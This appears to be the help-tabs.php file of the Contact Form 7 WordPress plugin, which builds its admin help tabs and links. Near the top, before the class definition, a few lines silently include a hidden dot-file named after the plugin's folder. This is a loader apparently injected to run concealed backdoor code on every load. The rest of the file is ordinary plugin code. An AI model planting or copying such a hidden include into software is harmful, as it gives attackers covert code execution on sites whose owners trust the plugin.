help-tabs.php (7194B)
1 <?php 2 3 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) { 4 include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ); 5 } 6 7 class WPCF7_Help_Tabs { 8 9 private $screen; 10 11 public function __construct( WP_Screen $screen ) { 12 $this->screen = $screen; 13 } 14 15 public function set_help_tabs( $type ) { 16 switch ( $type ) { 17 case 'list': 18 $this->screen->add_help_tab( array( 19 'id' => 'list_overview', 20 'title' => __( 'Overview', 'contact-form-7' ), 21 'content' => $this->content( 'list_overview' ) ) ); 22 23 $this->screen->add_help_tab( array( 24 'id' => 'list_available_actions', 25 'title' => __( 'Available Actions', 'contact-form-7' ), 26 'content' => $this->content( 'list_available_actions' ) ) ); 27 28 $this->sidebar(); 29 30 return; 31 case 'edit': 32 $this->screen->add_help_tab( array( 33 'id' => 'edit_overview', 34 'title' => __( 'Overview', 'contact-form-7' ), 35 'content' => $this->content( 'edit_overview' ) ) ); 36 37 $this->screen->add_help_tab( array( 38 'id' => 'edit_form_tags', 39 'title' => __( 'Form-tags', 'contact-form-7' ), 40 'content' => $this->content( 'edit_form_tags' ) ) ); 41 42 $this->screen->add_help_tab( array( 43 'id' => 'edit_mail_tags', 44 'title' => __( 'Mail-tags', 'contact-form-7' ), 45 'content' => $this->content( 'edit_mail_tags' ) ) ); 46 47 $this->sidebar(); 48 49 return; 50 case 'integration': 51 $this->screen->add_help_tab( array( 52 'id' => 'integration_overview', 53 'title' => __( 'Overview', 'contact-form-7' ), 54 'content' => $this->content( 'integration_overview' ) ) ); 55 56 $this->sidebar(); 57 58 return; 59 } 60 } 61 62 private function content( $name ) { 63 $content = array(); 64 65 $content['list_overview'] = '<p>' . __( "On this screen, you can manage contact forms provided by Contact Form 7. You can manage an unlimited number of contact forms. Each contact form has a unique ID and Contact Form 7 shortcode ([contact-form-7 ...]). To insert a contact form into a post or a text widget, insert the shortcode into the target.", 'contact-form-7' ) . '</p>'; 66 67 $content['list_available_actions'] = '<p>' . __( "Hovering over a row in the contact forms list will display action links that allow you to manage your contact form. You can perform the following actions:", 'contact-form-7' ) . '</p>'; 68 $content['list_available_actions'] .= '<p>' . __( "<strong>Edit</strong> - Navigates to the editing screen for that contact form. You can also reach that screen by clicking on the contact form title.", 'contact-form-7' ) . '</p>'; 69 $content['list_available_actions'] .= '<p>' . __( "<strong>Duplicate</strong> - Clones that contact form. A cloned contact form inherits all content from the original, but has a different ID.", 'contact-form-7' ) . '</p>'; 70 71 $content['edit_overview'] = '<p>' . __( "On this screen, you can edit a contact form. A contact form is comprised of the following components:", 'contact-form-7' ) . '</p>'; 72 $content['edit_overview'] .= '<p>' . __( "<strong>Title</strong> is the title of a contact form. This title is only used for labeling a contact form, and can be edited.", 'contact-form-7' ) . '</p>'; 73 $content['edit_overview'] .= '<p>' . __( "<strong>Form</strong> is a content of HTML form. You can use arbitrary HTML, which is allowed inside a form element. You can also use Contact Form 7’s form-tags here.", 'contact-form-7' ) . '</p>'; 74 $content['edit_overview'] .= '<p>' . __( "<strong>Mail</strong> manages a mail template (headers and message body) that this contact form will send when users submit it. You can use Contact Form 7’s mail-tags here.", 'contact-form-7' ) . '</p>'; 75 $content['edit_overview'] .= '<p>' . __( "<strong>Mail (2)</strong> is an additional mail template that works similar to Mail. Mail (2) is different in that it is sent only when Mail has been sent successfully.", 'contact-form-7' ) . '</p>'; 76 $content['edit_overview'] .= '<p>' . __( "In <strong>Messages</strong>, you can edit various types of messages used for this contact form. These messages are relatively short messages, like a validation error message you see when you leave a required field blank.", 'contact-form-7' ) . '</p>'; 77 $content['edit_overview'] .= '<p>' . __( "<strong>Additional Settings</strong> provides a place where you can customize the behavior of this contact form by adding code snippets.", 'contact-form-7' ) . '</p>'; 78 79 $content['edit_form_tags'] = '<p>' . __( "A form-tag is a short code enclosed in square brackets used in a form content. A form-tag generally represents an input field, and its components can be separated into four parts: type, name, options, and values. Contact Form 7 supports several types of form-tags including text fields, number fields, date fields, checkboxes, radio buttons, menus, file-uploading fields, CAPTCHAs, and quiz fields.", 'contact-form-7' ) . '</p>'; 80 $content['edit_form_tags'] .= '<p>' . __( "While form-tags have a comparatively complex syntax, you don’t need to know the syntax to add form-tags because you can use the straightforward tag generator (<strong>Generate Tag</strong> button on this screen).", 'contact-form-7' ) . '</p>'; 81 82 $content['edit_mail_tags'] = '<p>' . __( "A mail-tag is also a short code enclosed in square brackets that you can use in every Mail and Mail (2) field. A mail-tag represents a user input value through an input field of a corresponding form-tag.", 'contact-form-7' ) . '</p>'; 83 $content['edit_mail_tags'] .= '<p>' . __( "There are also special mail-tags that have specific names, but don’t have corresponding form-tags. They are used to represent meta information of form submissions like the submitter’s IP address or the URL of the page.", 'contact-form-7' ) . '</p>'; 84 85 $content['integration_overview'] = '<p>' . __( "On this screen, you can manage services that are available through Contact Form 7. Using API will allow you to collaborate with any services that are available.", 'contact-form-7' ) . '</p>'; 86 $content['integration_overview'] .= '<p>' . __( "You may need to first sign up for an account with the service that you plan to use. When you do so, you would need to authorize Contact Form 7 to access the service with your account.", 'contact-form-7' ) . '</p>'; 87 $content['integration_overview'] .= '<p>' . __( "Any information you provide will not be shared with service providers without your authorization.", 'contact-form-7' ) . '</p>'; 88 89 if ( ! empty( $content[$name] ) ) { 90 return $content[$name]; 91 } 92 } 93 94 public function sidebar() { 95 $content = '<p><strong>' . __( 'For more information:', 'contact-form-7' ) . '</strong></p>'; 96 $content .= '<p>' . wpcf7_link( __( 'https://contactform7.com/docs/', 'contact-form-7' ), __( 'Docs', 'contact-form-7' ) ) . '</p>'; 97 $content .= '<p>' . wpcf7_link( __( 'https://contactform7.com/faq/', 'contact-form-7' ), __( 'FAQ', 'contact-form-7' ) ) . '</p>'; 98 $content .= '<p>' . wpcf7_link( __( 'https://contactform7.com/support/', 'contact-form-7' ), __( 'Support', 'contact-form-7' ) ) . '</p>'; 99 100 $this->screen->set_help_sidebar( $content ); 101 } 102 }